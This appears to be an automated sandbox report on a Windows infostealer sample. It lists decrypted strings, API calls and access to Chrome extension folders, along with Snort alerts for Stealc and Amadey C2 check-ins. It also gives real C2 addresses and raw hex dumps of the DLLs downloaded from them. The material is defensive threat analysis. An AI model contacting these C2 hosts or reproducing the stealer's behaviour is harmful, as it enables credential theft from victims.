Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: wininet.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: shlwapi.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: shell32.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: psapi.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: rstrtmgr.dll
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: SelectObject
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: BitBlt
Source: 13.2.3eb62d09c2.exe.d00000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C7D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C7D6C80

Source: EZrw1nNIpG.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: EZrw1nNIpG.exe, 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: EZrw1nNIpG.exe, 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.6:49713 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.6:49713 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.6:49713
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.6:49713 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.6:49713
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.6:49730 -> 147.45.47.155:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 147.45.47.155:80 -> 192.168.2.6:49730
Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.6:49733 -> 85.28.47.4:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 147.45.47.155

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Jun 2024 06:16:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 